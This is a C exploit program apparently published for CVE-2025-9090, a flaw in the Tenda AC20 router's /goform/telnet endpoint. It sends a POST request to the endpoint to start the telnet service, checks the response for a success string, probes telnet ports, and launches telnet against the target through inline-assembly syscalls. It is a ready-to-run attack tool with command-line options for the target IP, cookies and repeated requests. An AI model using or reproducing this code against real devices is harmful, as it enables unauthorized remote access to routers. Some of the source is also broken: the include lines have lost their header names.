/*
* Exploit Title : Tenda AC20 16.03.08.12 - Command Injection
* Author : Byte Reaper
* CVE : CVE-2025-9090
* Description: A vulnerability was identified in Tenda AC20 16.03.08.12. Affected is the function websFormDefine of the file /goform/telnet of the component Telnet Service.
* target endpoint : /goform/telnet
* place in service : http://
* full format target url : http:///goform/telnet
* Exploitation plan:
* 1. Build full URL
* 2. Prepare POST data (Sleep + full url + libcurl function)
* 3. Send POST request via CURL
* 4. Measure response: HTTP code, telnet access (23), error word (not found)
* 5. Determine success & finalize exploit
*/
#include
#include "argparse.h"
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define MAX_RESPONSE (50 * 1024 * 1024)
#define URL 2400
#define BUFFER 4500
const char *ipT = NULL;
const char *cookies = NULL;
int loopF = 0;
int verbose = 0;
int fileCookies = 0;
void exit64bit()
{
fflush(NULL);
__asm__ volatile
(
"syscall\n\t"
:
: "A"(0x3C),
"D"(0)
: "rcx",
"r11",
"memory"
);
fflush(NULL);
}
struct Mem
{
char *buffer;
size_t len;
};
size_t write_cb(void *ptr,
size_t size,
size_t nmemb,
void *userdata)
{
if (!userdata)
{
return 0;
}
if (size && nmemb > SIZE_MAX / size)
{
fprintf(stderr, "\e[0;31m[-] size * nmemb overflow !\e[0m\n");
return 0;
}
size_t total = size * nmemb;
struct Mem *m = (struct Mem *)userdata;
if (total > MAX_RESPONSE || (m->len + total + 1) > MAX_RESPONSE)
{
fprintf(stderr, "\e[0;31m[-] Response too large or would exceed MAX_RESPONSE !\e[0m\n");
return 0;
}
char *tmp = realloc(m->buffer, m->len + total + 1);
if (tmp == NULL)
{
fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n");
exit64bit();
}
m->buffer = tmp;
memcpy(&(m->buffer[m->len]), ptr, total);
m->len += total;
m->buffer[m->len] = '\0';
return total;
}
int checkLen(int len, char *buf, size_t bufcap)
{
if (len < 0 || (size_t)len >= bufcap)
{
printf("\e[0;31m[-] Len is Long ! \e[0m\n");
printf("\e[0;31m[-] Len %d\e[0m\n", len);
return 1;
}
else
{
printf("\e[0;34m[+] Len Is Not Long.\e[0m\n");
return 0;
}
return 0;
}
void cleanObject(CURL *c, struct curl_slist *h, char *r, size_t l)
{
printf("\e[0;33m[+] Clean Headers...\e[0m\n");
if (h != NULL)
{
curl_slist_free_all(h);
}
if (c != NULL)
{
curl_easy_cleanup(c);
}
printf("\e[0;33m[+] Clean CURL...\e[0m\n");
if (r != NULL)
{
free(r);
r = NULL;
l = 0;
}
printf("\e[0;33m[+] Clean response buffer and len...\e[0m\n");
printf("\e[0;31m[+] Exit ....\n");
}
int sleepSocket()
{
static int current = 2;
int timeout = current;
printf("\e[0;34m[+] Timeout Socket : %d\n", timeout);
current++;
if (current > 6)
{
current = 2;
}
return timeout;
}
int connectionTelnet(const char *ip)
{
int ports[] =
{
23,
2323
};
int num_ports = sizeof(ports) / sizeof(ports[0]);
for (int i = 0; i < num_ports; i++)
{
printf("\e[0;36m[+] target PORT Connection telnet : %d\e[0m\n", ports[i]);
printf("\e[0;36m[+] Try Connection in port : %d\e[0m\n", ports[i]);
int s;
char buffer[BUFFER];
struct sockaddr_in server;
s = socket(AF_INET, SOCK_STREAM, 0);
if (s < 0)
{
perror("\e[0;31m[-] Error Create Socket !\e[0m\n");
return -1;
}
server.sin_addr.s_addr = inet_addr(ip);
server.sin_family = AF_INET;
server.sin_port = htons(ports[i]);
struct timeval timeout;
int value3 = sleepSocket();
timeout.tv_sec = value3;
timeout.tv_usec = 0;
if (setsockopt(s,
SOL_SOCKET,
SO_RCVTIMEO,
(const char*)&timeout,
sizeof(timeout)) < 0)
{
perror("\e[0;31m[-] setsockopt() Failed !\e[0m\n");
exit64bit();
}
printf("\e[0;33m[+] Timeout Connection socket ...\e[0m\n");
if (connect(s,
(struct sockaddr *)&server,
sizeof(server)) < 0)
{
perror("\e[0;31m[-] Connect failed in Target Ip.\e[0m\n");
close(s);
continue;
}
printf("[+] Connection Success in server.\e[0m\n");
char banner[256];
int n = recv(s,
banner,
sizeof(banner)-1,
0);
if (n > 0)
{
banner[n] = '\0';
printf("\e[0;36m[+] Telnet Banner: %s\e[0m\n", banner);
}
close(s);
if (verbose)
{
printf("\e[0;33m[+] Close Socket...\e[0m\n");
}
return ports[i];
}
return -1;
}
int systemCommand(const char *ip)
{
pid_t pid;
printf("\e[0;37m[+] Before fork (PID : %d)\e[0m\n", getpid());
pid = fork();
if (pid < 0)
{
fprintf(stderr, "\e[0;31m[-] Fork failed !\e[0m\n");
return 1;
}
else if (pid == 0)
{
int access[] = {23, 2323, 80};
int numberAccess = sizeof(access) / sizeof(access[0]);
for (int a = 0; a < numberAccess ; a++)
{
printf("\e[0;34m[+] child process (pid : %d)\e[0m\n", getpid());
printf("\e[0;34m[+] sys_execve syscall...\e[0m\n");
char ipS[90];
int lenIp = snprintf(ipS, sizeof(ipS), "%s", ip);
if (checkLen(lenIp,ipS,sizeof(ipS)) == 1)
{
printf("\e[0;31m[-] Len Content (Target IP) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len (ip) : %d\e[0m\n",
lenIp);
exit64bit();
}
char portsA[40];
int lenA = snprintf(portsA, sizeof(portsA), "%d", access[a]);
if (checkLen(lenA,portsA,sizeof(portsA)) == 1)
{
printf("\e[0;31m[-] Len Content (Target port) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len (port) : %d\e[0m\n",
lenA);
exit64bit();
}
const char *c = "/usr/bin/telnet";
char *const argv[] =
{
"telnet",
ipS,
portsA,
NULL
};
const char *envp[] = {NULL};
__asm__ volatile
(
"mov $59, %%rax\n\t"
"mov %[command], %%rdi\n\t"
"mov %[v], %%rsi\n\t"
"mov %[e], %%rdx\n\t"
"syscall\n\t"
:
: [command] "r"(c),
[v] "r"(argv),
[e] "r" (envp)
:"rax",
"rdi",
"rsi" ,
"rdx"
);
__asm__ volatile
(
"mov $0x3C, %%rax\n\t"
"xor %%rdi, %%rdi\n\t"
"syscall\n\t"
:
:
:"rax",
"rdi"
);
}
}
else
{
waitpid(pid,
NULL,
0);
printf("\e[0;36m[+] Child process finished.\e[0m\n");
}
return 0;
}
void endPoint(const char *ip)
{
CURL *curl = curl_easy_init();
struct Mem response ;
response.buffer = NULL;
response.len = 0;
struct curl_slist *headers = NULL;
if (response.buffer == NULL && response.len == 0)
{
if (verbose)
{
printf("\e[0;35m==============================\e[0m\n");
printf("\e[0;34m[+] Clean Response...\e[0m\n");
printf("\e[0;34m[+] Response buffer is NULL.\e[0m\n");
printf("\e[0;34m[+] Response len is 0.\e[0m\n");
printf("\e[0;34m[+] Clean Success.\e[0m\n");
printf("\e[0;35m==============================\e[0m\n");
}
}
else if (response.buffer != NULL && response.len != 0)
{
if (verbose)
{
printf("\e[0;31m[-] Response buffer is NOT NULL And len (!=0).\e[0m\n");
printf("\e[0;31m[-] Clean Failed.\e[0m\n");
}
}
if (!curl)
{
printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n");
exit64bit();
}
CURLcode code;
if (curl)
{
char full[URL];
int len = snprintf(full, URL, "http://%s/goform/telnet",ip);
if (checkLen(len,full,URL) == 1)
{
printf("\e[0;31m[-] Len Content (Full URL) is Long !\e[0m\n");
printf("\e[0;31m[-] Result Len (FULL URL) : %d\e[0m\n", len);
cleanObject(curl,
headers,
response.buffer,
response.len);
exit64bit();
}
printf("\e[0;34m[+] Write Success IP in FULL url.\n");
printf("\e[0;32m[+] Len Full url : %d\n", len);
printf("\e[0;37m[+] Target IP Address : %s\n", ip);
printf("\e[0;37m[+] FULL URL : %s\n", full);
if (verbose)
{
printf("\e[0;37m[+] Check Range IP ...\n");
}
struct in_addr inaddr;
if (inet_aton(ip, &inaddr))
{
printf("\e[0;36m[+] The address '%s' is valid.\n", ip);
}
else
{
printf("\e[0;31m[-] The address '%s' Not valid.\n", ip);
cleanObject(curl,
headers,
response.buffer,
response.len);
exit64bit();
}
curl_easy_setopt(curl,
CURLOPT_URL,
full);
if (fileCookies)
{
curl_easy_setopt(curl,
CURLOPT_COOKIEFILE,
cookies);
curl_easy_setopt(curl,
CURLOPT_COOKIEJAR,
cookies);
}
curl_easy_setopt(curl,
CURLOPT_FOLLOWLOCATION,
1L);
curl_easy_setopt(curl,
CURLOPT_WRITEFUNCTION,
write_cb);
curl_easy_setopt(curl,
CURLOPT_WRITEDATA,
&response);
curl_easy_setopt(curl,
CURLOPT_CONNECTTIMEOUT,
5L);
uint64_t raxValue;
raxValue = 0xE6;
if (verbose)
{
if (raxValue == 0xE6)
{
printf("\e[0;34m[+] RAX Value (SLEEP) (HEX): 0x%lX\e[0m\n",(uint64_t)raxValue);
}
else
{
printf("\e[0;31m[-] RAX Value Not (230): 0x%lX\e[0m\n",(uint64_t)raxValue);
cleanObject(curl,
headers,
response.buffer,
response.len);
exit64bit();
}
}
struct timespec rqtp, rmtp;
rqtp.tv_sec = 1;
rqtp.tv_nsec = 500000000;
register long reg_r10 asm("r10");
reg_r10 = 0;
printf("\e[0;33m[+] Sleeping Clock Syscall Assembly (%ld seconds) && (%ld nanoseconds)...\e[0m\n",
rqtp.tv_sec, rqtp.tv_nsec);
int ret;
__asm__ volatile
(
"syscall"
: "=a"(ret)
: "a"(raxValue),
"D"((long)0),
"S"((long)0),
"d"(&rqtp),
"r"(reg_r10)
: "rcx", "r11", "memory"
);
printf("\e[0;37m[+] Return Value sys_clock_nanosleep : %d\e[0m\n", ret);
if (ret == -1)
{
if (errno == EINTR)
{
printf("\e[0;34m[+] Sleep was interrupted. Remaining : %ld seconds %ld nanoseconds\e[0m\n",
rqtp.tv_sec,
rqtp.tv_nsec);
}
else
{
perror("\e[0;31m[-] Error sys_clock_nanosleep !\e[0m\n");
}
}
else
{
printf("\e[0;34m[+] SLeep Success.\e[0m\n");
}
curl_easy_setopt(curl,
CURLOPT_TIMEOUT,
10L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYPEER,
0L);
curl_easy_setopt(curl,
CURLOPT_SSL_VERIFYHOST,
0L);
if (verbose)
{
printf("\e[0;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n");
curl_easy_setopt(curl,
CURLOPT_VERBOSE,
1L);
}
headers = curl_slist_append(headers,
"Accept: text/html");
headers = curl_slist_append(headers,
"Accept-Encoding: gzip, deflate, br");
headers = curl_slist_append(headers,
"Accept-Language: en-US,en;q=0.5");
curl_easy_setopt(curl, CURLOPT_POST, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, "");
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, 0L);
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
code = curl_easy_perform(curl);
long http_code = 0;
if (code == CURLE_OK)
{
printf("\e[0;36m[+] Request sent successfully.\e[0m\n");
if (verbose)
{
printf("\e[0;35m=========================================================== [ response (1)] ===========================================================\e[0m\n");
printf("\n%s\n", response.buffer);
printf("\e[0;35m=======================================================================================================================================\e[0m\n");
}
curl_easy_getinfo(curl,
CURLINFO_RESPONSE_CODE,
&http_code);
printf("\e[0;32m[+] Http Code : %ld\e[0m\n",
http_code);
if (http_code >= 200 && http_code < 300)
{
printf("\e[0;36m[+] Http code in Range (200 - 300).\e[0m\n");
printf("\e[0;35m=========================================================== [ response (code 200) ] ===========================================================\e[0m\n");
printf("\n%s\n", response.buffer);
printf("\e[0;35m===============================================================================================================================================\e[0m\n");
printf("\e[0;35m[+] Check response server...\e[0m\n");
if (response.buffer)
{
if (strstr(response.buffer, "load telnetd success") != NULL)
{
printf("\e[0;37m[+] Word found in response : \"load telnetd success\"\e[0m\n");
printf("\e[0;36m[+] Injected successfully.\e[0m\n");
}
}
printf("\e[0;33m[+] Try telnet Connection (Socket) (23)...\e[0m\n");
printf("\e[0;36m[+] Command : telnet %s %d\e[0m\n", ip, 23);
int value = connectionTelnet(ip);
printf("\e[0;35m[+] Result Connection : =============================\e[0m\n");
int useCommand = 0;
if (value == -1)
{
printf("\e[0;31m[-] CVE-2025-9090 Not detect !\n");
printf("\e[0;37m[+] Run Command System (telnet %s %d)\n", ip, 80);
useCommand++;
goto command;
}
else if (value != -1)
{
printf("\e[0;36m[+] Success Connection PORT : %d\e[0m\n", value);
printf("\e[0;36m[+] The server has a vulnerability Os injection (CVE-2025-9090 )\e[0m\n");
}
command:
if (useCommand != 0)
{
int value2 = systemCommand(ip);
if (value2 == 1)
{
printf("\e[0;31m[-] Error Run command , Please Check ENV.\e[0m\n");
}
else if (value2 == 0)
{
printf("\e[0;34m [+] Run command Success.\e[0m\n");
}
}
printf("\e[0;35m=====================================================\e[0m\n");
}
else
{
printf("\e[0;31m[-] Http code Not range (200 - 300)!\e[0m\n");
printf("\e[0;35m[-] Check the reason for a negative response...\e[0m\n");
if (response.buffer)
{
response.buffer[response.len] = '\0';
if (strstr(response.buffer, "Not found") != NULL ||
strstr(response.buffer, "was not found on this server") != NULL)
{
printf("\e[0;31m[-] Word Found in Response (Not found)\e[0m\n");
printf("\e[0;31m[-] Not found endpoint !\e[0m\n");
printf("\e[0;31m[-] Please Check Download Service \"Tenda AC20\" And run.\e[0m\n");
}
}
else
{
printf("\e[0;31m[-] Response is NULL, Error Check response !\e[0m\n");
}
}
}
else
{
fprintf(stderr, "\e[0;31m[-] The request was not sent !\e[0m\n");
printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(code));
exit64bit();
}
}
}
int main(int argc, const char **argv)
{
printf(
"\e[1;31m"
" ▄████▄ ██▒ █▓▓█████ \n"
" ▒██▀ ▀█▓██░ █▒▓█ ▀ \n"
" ▒▓█ ▄▓██ █▒░▒███ \n"
" ▒▓▓▄ ▄██▒▒██ █░░▒▓█ ▄ \n"
" ▒ ▓███▀ ░ ▒▀█░ ░▒████▒ \e[1;32m2025-9090\n"
" ░ ░▒ ▒ ░ ░ ▐░ ░░ ▒░ ░ \n"
" ░ ▒ ░ ░░ ░ ░ ░ \n"
" ░ ░░ ░ \n"
" ░ ░ ░ ░ ░ \n"
" ░ ░ \n"
"\t \e[1;31m [ Byte Reaper ] \e[0m\n"
);
printf("\e[0;31m-------------------------------------------------------------------------------------------------------\e[0m\n");
struct argparse_option options[] =
{
OPT_HELP(),
OPT_STRING('i',
"ip",
&ipT,
"Enter Target IP"),
OPT_STRING('c',
"cookies",
&cookies,
"Enter File cookies"),
OPT_BOOLEAN('v',
"verbose",
&verbose,
"Verbose Mode"),
OPT_INTEGER('f',
"loop",
&loopF,
"Number request (-f 4 = 4 request)"),
OPT_END(),
};
struct argparse argparse;
argparse_init(&argparse,
options,
NULL,
0);
argparse_parse(&argparse,
argc,
argv);
if (ipT == NULL)
{
printf("\e[1;31m[-] Please Enter target Ip !\e[0m\n");
printf("\e[1;31m[-] Example : ./CVE-2025-9090 -i \e[0m\n");
exit64bit();
}
if (cookies != NULL)
{
fileCookies = 1;
}
if (verbose)
{
verbose = 1;
}
if (loopF != 0)
{
printf("\e[0;34m[+] Number Loop Request : %d\e[0m\n", loopF);
for (int n = 0; n <= loopF; n++)
{
printf("\e[1;35m[+] Another request: =============================================\e[0m\n");
endPoint(ipT);
}
}
endPoint(ipT);
return 0;
}